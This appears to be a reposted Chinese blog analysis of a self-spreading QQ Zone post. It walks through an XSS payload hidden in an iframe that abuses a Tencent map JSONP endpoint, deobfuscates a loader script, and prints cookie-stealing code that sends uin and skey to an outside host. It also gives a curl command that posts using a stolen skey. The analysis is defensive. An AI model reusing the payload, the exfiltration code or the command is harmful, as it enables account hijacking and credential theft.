有些很讨厌的带链接说说,只要你在手机打开它,就会自动转发,内容极其不雅

一怒之下我决定看个究竟
首先,在此页开头有此关键语句:

1 <iframe2 src="http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//"
3 name="s=document.createElement('script');document.body.appendChild(s);s.src='http://conf3.gamexm.net/moo.js';"style="display:none">
4 </iframe>

<iframe … style=”display:none”表明了这是一个隐藏的窗口,
src是一个精心构造的URL作为窗口的内容,
窗口名name是一段脚本

首先,浏览器会加载http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//
http://rtb.map.qq.com/rtbus?qt=comps&cb=#Your_Code_Here#

这是腾讯地图的 RealTime Bidding(实时竞价,RTB)API,会受到腾讯自己和杀软的信任,它的作用是返回这样的格式:
#Your_Code_Here# && #Your_Code_Here#({“detail”:{“comp_list”:[{“city”:3,”comp_id”:1,”name”:”腾讯北分”}],”num”:1},”info”:{“error”:0,”type”:86}})

腾讯北分,真是233到不行。看来北分在积极参与啊!

于是<iframe> 里面出现这样一个东西:

1 </script><svg><script>eval(window.name);// && </script><svg><script>eval(window.name);//({"detail":{"comp_list":[{"city":3,"comp_id":1,"name":"腾讯北分"}],"num":1},"info":{"error":0,"type":86}})

呵呵,这不是一个XSS(跨站点攻击脚本)吗!!!
“</script><svg>”由于浏览器的容错性被忽视了,“//”大家都知道是注释,于是最终效果就是这个:
eval(window.name);

eval(“s=document.createElement(‘script’);document.body.appendChild(s);s.src=’http://conf3.gamexm.net/moo.js’;”)
eval作用是把字符串作为代码解析。
s=document.createElement(‘script’);document.body.appendChild(s);会在文档结尾创建<script></script>标签,此标签内的代码会被执行

标签内的代码变成了http://conf3.gamexm.net/moo.js这个恶意脚本

这个脚本是这样的:
OlOlll=”(x)”;OllOlO=” String”;OlllOO=”tion”;OlOllO=”Code(x)}”;OllOOO=”Char”;OlllOl=”func”;OllllO=” l = “;OllOOl=”.from”;OllOll=”{return”;Olllll=”var”;eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)
…………………………………………(略)特别长,特别费解,也是精心设计的!

请注意Ol不是01,是英文字母,为了造成阅读困难。eval已经暴露了一切。来,我们一窥究竟!
按照OlOlll=”(x)”;等等进行替换

好,我们先解决第一部分,整理后如下:

1 OlOlll="(x)";2 OllOlO=" String";3 OlllOO="tion";4 OlOllO="Code(x)}";5 OllOOO="Char";6 OlllOl="func";7 OllllO=" l = ";8 OllOOl=".from";9 OllOll="{return";10 Olllll="var";11 eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);

然后可以得出

eval("var l = function(x){return String.fromCharCode(x)}");

好了,l是个函数,返回数字ascii码对应的字符,然后下面一段意图就非常显然了:

eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));

解析后得到

1 eval("O=function(m){return String.fromCharCode(Math.floor(m/10000)/99);}");

呵呵,函数O这是要玩大的数啊!!!
下面的非常可怕,不过可以用调试得出答案
eval(“”+O(100980757)+O(115834719)+O(108907232)+O(98018607)+O(114843475)+O(103957850)+O(109895097)+O(108901326)+O(31681911)+O(101979572)+O(99991327)+O(114842917)+O(70290385)+O(83168569)+O(74258232)+O(39600813)+O(113855001)+O(114847653)+O(112861483)+O(40597539)++O。。。(实在太长了)
解析排版,删去干扰字符得到后得到:

1 functiongetGTK(str)2 {3 var hash = 5381;4 for (var i = 0, len = str.length; i < len; ++i)5 {6 hash += (hash << 5) +str.charAt(i).charCodeAt();7 }8 return hash & 0x7fffffff;9 }10 functiongetCookie(name)11 {12 var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");13 if (arr = document.cookie.match(reg)) return unescape(arr[2]);else return null;14 }15 var q=parseInt(getCookie("uin").replace("o", ""));16 var k=getCookie("skey");17 var oHead = document.getElementsByTagName('HEAD').item(0);18 var toscript = document.createElement("script");19 toscript.type = "text/javascript";20 toscript.src = "http://config.baigou51.com/getcookie.asp?q="+q+"&s="+k+"&g="+getGTK(k)+"&t=3";21 oHead.appendChild(toscript);

TMD!!!还没有结束!!!继续战斗!!!
Cookie是一类数据,由网站生成,涉及用户的关键、动态信息(比如判断用户是否登陆)
我进入QQ空间后,Cookie为
uin=o2980412917; skey=@Gxkiad0xM;
uin显然为O+我的QQ号,skey是个关键临时密码,(我重登后就过期了,所以不用试!)

getCookie(name)函数用于获取我的Cookie
getGTK(str)是为了给skey签名,这样可以确保skey是有效的
然后这段代码会在网页里面产生如下脚本并执行:

1 <script src="http://config.baigou51.com/getcookie.asp?q=&s=2980412917@Gxkiad0xM&g=1850298802&t=3" />

其实就是执行那个链接,把你的skey交给服务器。然后,一切结束了。
因为skey功能是这样的:
“skey权限代码,也就是说如果可以获得一个QQ号码的Skey代码,也就相应的拿到了对方QQ登陆和管理权限,这意味着你完全可以以主人的身份分分钟进入对方的空间、查看加密的相册,甚至发表说说,删除留言…”

QQ号+skey就有了一切!服务器自动替你发说说!!!
比如只要

curl "http://user.qzone.qq.com/q/taotao/cgi-bin/emotion_cgi_forward_v6?g_tk=1850298802" -H "Host: user.qzone.qq.com" (略去一些数据) -H "Referer: http://user.qzone.qq.com/2980412917/main" -H "Cookie:uin=o########; skey=*******;" --data "说说内容"

然后就有一条说说出现在你的空间里面!

你输了!!!

唯一解决方法就是退出空间(手机需要退出QQ),重新登陆QQ,这样会产生新的skey,原来的skey就无效了.
刷新网页,或者关掉手机QQ空间,不会改变skey

Tencent空间使用了各种方法来保护skey,但是防不住如此的伪装。另外腾讯北分为此做了重大贡献!

战斗已经结束,好久没有这么精彩的一遭了.各位晚安!望引以为戒!

转自:http://zsy.blog.ustc.edu.cn/archives/133

转载于:https://www.cnblogs.com/yuxiuyan/p/5769384.html

关于恶意说说自动在QQ空间转发的机制相关推荐

  1. python+selenium自动登录qq空间并下载相册

    基于selenium的自动登录qq空间并遍历所有相册及相片的功能.只能访问自己或好友(有访问权限)的相册,好友有密码的相册不可能...这里只是介绍流程,所以只是实现了遍历,并未实现图片文件的下载保存. ...

  2. Selenium基础知识 自动登录QQ空间

    Selenium基础知识 自动登录QQ空间 from selenium import webdriver import timedef auto_login():driver = webdriver. ...

  3. 自动访问QQ空间(亮点是程序的美化)

    自动访问QQ空间,原理很简单,就是用程序来打开好友的QQ空间, 然后再用程序关闭打开的空间就可以了,网速快的话,一秒钟可以访问N个好友. 本程序代码很简单,没什么好说的.值得一提的是,本程序使用到了界 ...

  4. python自动下载qq文件夹_GitHub - 1061700625/QQZone_AutoDownload_Album: Python+selenium 自动下载QQ空间相册...

    QQZone_AutoDownload_Album Python+selenium 自动下载QQ空间相册 . selenium_firefox.zip 需要解压后放在同路径下 . 貌似腾讯的登陆加密做 ...

  5. Python学习笔记(二):利用Selenium一键自动登录QQ空间、百度等网站

    曾经在学校闲的时候,见到有人通过程序自动登录百度等网站,觉得很厉害.实习的时候,偶然的机会也研究了一下,有空的时候试试运行就自动点赞,觉得还比较有意思,可以用来装装X,哈哈. 一.python环境 第 ...

  6. 自动登录QQ空间 --- Selenium打开带有xpath-helper的chrom

    1.导入相关库 from selenium.webdriver.common.keys import Keys import time from selenium import webdriver 2 ...

  7. Python自动下载QQ空间相册

    github:https://github.com/1061700625/QQZone_AutoDownload_Album 貌似腾讯的登陆加密做的很复杂.所以用selenium模拟登陆的,这样就可以 ...

  8. 自动登陆qq空间代码

    import win; //必须首先导入win窗口支持库 import win.ui; import web; import inet.http; /*DSG{​{*/ var winform = w ...

  9. php自动登录QQ空间,QQ空间自动登录 - brivio的个人页面 - OSCHINA - 中文开源技术交流社区...

    #自动登录 define('ROOT_PATH',__DIR__); include_once(ROOT_PATH.'/lib/Http.class.php'); $config=array( 'us ...

最新文章

  1. html旋转代码_用CSS实现一个抽奖转盘(附详细代码+思路)
  2. swift 注意事项 (十六) —— 可选链
  3. java startswith忽略大小写_Java String startsWith()方法与示例
  4. 【ABAP】Cross client master/business data transfer guide(ALE I Doc)
  5. mysql group by与order by的研究--分类中最新的内容
  6. 【Es】Es 集群设置分片很大导致集群无法选举主节点异常等
  7. acivity 横屏_Activity横竖屏切换时先看到横屏/竖屏再变换回竖屏/横屏
  8. 终于研究出如何设置新版paypal付款时汇率损失方的问题了
  9. linux 时区异常修正
  10. 转载:图解SSL/TLS协议
  11. Kotlin实战【二】Kotlin基本要素
  12. logo语言是计算机语言吗,LOGO语言的编程
  13. 【python量化】统计套利之配对交易策略实现(基于python)
  14. 模糊逻辑基本原理与编程
  15. GIS的地图图标制作
  16. HTTP Live Streaming(HLS)详解
  17. HDS F900装机小结
  18. VBA编程_Selection总结
  19. R语言可视化散点图、ggrepel包的geom_text_repel函数避免数据点之间的标签互相重叠(设置segment.square为假以获得斜曲线,segment.inflect设置为真以引入拐点
  20. 真无线蓝牙耳机哪家的音质最好?四款音质好蓝牙耳机

热门文章

  1. Counterfactual 项目:广义的以太坊状态通道
  2. 阿里云视频点播Demo
  3. 【四】狂神Java笔记-面向对象
  4. Babel转码器详解
  5. 聊聊Hive数据血缘——从Atlas没有列级血缘的Bug讲起
  6. matlab2020a安装完多大_Matlab2020a
  7. python将图片转换成动漫,python实现图片转换成素描和漫画格式
  8. python羊车门问题
  9. 面试:第十二章:所有总结
  10. JIRA的安装、破解、汉化(适用于4.0.1、4.0.2、4.1.1版本